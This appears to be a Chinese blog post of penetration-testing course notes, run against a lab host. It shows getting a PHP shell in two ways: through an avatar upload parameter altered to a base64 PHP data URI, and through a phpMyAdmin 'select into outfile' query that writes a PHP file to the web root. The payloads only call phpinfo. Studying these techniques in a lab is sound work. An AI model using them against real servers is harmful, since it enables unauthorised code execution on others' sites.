某教程学习笔记(一):19、任意文件上传和sql语句拿shell

简介: 某教程学习笔记(一):19、任意文件上传和sql语句拿shell

一、任意上传文件拿shell


1、注册账号

0a2653c851af460fa595bd959398a8f1.png

2、上传头像

0eacb84100b54626af849e6b562bf92a.png

3、上传任意文件,抓包分析

2d65d23f6d4748949b924e4057485923.png

将tx后面的内容修改为tx=data%3Aimage%2Fphp%3Bbase64%2CPD9waHANCiBwaHBpbmZvKCk7IA0KPz4%3D


解密收的内容为:data:image/php;base64,<?php phpinfo();?>,也就是上传一个文件内容为<?php phpinfo();?>的php文件


4、虽然提示报错,但是我们访问上传后的地址: http://192.168.171.128/uploadfile/member/3/0x0.php ,文件已生效

2e9b90b2ca334476abebe75bafe6eeaa.png4cebaac233b3433da32a72337a77fc60.png

二、sql命令拿shell

1、进入phpmyadmin页面

0a2653c851af460fa595bd959398a8f1.png

2、输入一下sql语句并执行,生成一aiyou.php文件,内容为<?php phpinfo();?>

0eacb84100b54626af849e6b562bf92a.png

select “<?php phpinfo();?>” into outfile “C:/phpStudy/PHPTutorial/WWW/aiyou.php”

3、访问该文件 http://192.168.171.128/aiyou.php

2d65d23f6d4748949b924e4057485923.png

禁止非法,后果自负

目录
相关文章
|
12天前
|
网络协议 Shell Linux
【Shell 命令集合 网络通讯 】Linux 设置和配置PPP pppsetup命令 使用教程
【Shell 命令集合 网络通讯 】Linux 设置和配置PPP pppsetup命令 使用教程
67 0
|
12天前
|
网络协议 Shell Linux
【Shell 命令集合 网络通讯 】Linux 创建网络连接 nc命令 使用教程
【Shell 命令集合 网络通讯 】Linux 创建网络连接 nc命令 使用教程
52 1
|
12天前
|
缓存 网络协议 Linux
【Shell 命令集合 网络通讯 】Linux 配置DNS dnsconf 命令 使用教程
【Shell 命令集合 网络通讯 】Linux 配置DNS dnsconf 命令 使用教程
54 0
|
3天前
|
SQL Oracle 关系型数据库
SQL 教程
SQL 教程
11 1
|
4天前
|
SQL 关系型数据库 MySQL
简简单单 My SQL 学习笔记(3)——连接和嵌套查询
简简单单 My SQL 学习笔记(3)——连接和嵌套查询
|
4天前
|
SQL 关系型数据库 MySQL
简简单单 My SQL 学习笔记(2)——分组和简单数据的查询
简简单单 My SQL 学习笔记(2)——分组和简单数据的查询
|
4天前
|
SQL 关系型数据库 MySQL
简简单单 My SQL 学习笔记(1)——表中数据的整删改查
简简单单 My SQL 学习笔记(1)——表中数据的整删改查
|
12天前
|
SQL 存储 网络协议
SQL Server详细使用教程
SQL Server详细使用教程
38 2
|
12天前
|
SQL 存储 关系型数据库
SQL Server详细使用教程及常见问题解决
SQL Server详细使用教程及常见问题解决
|
12天前
|
SQL Oracle Java
SQL 注入神器:jSQL Injection 保姆级教程
SQL 注入神器:jSQL Injection 保姆级教程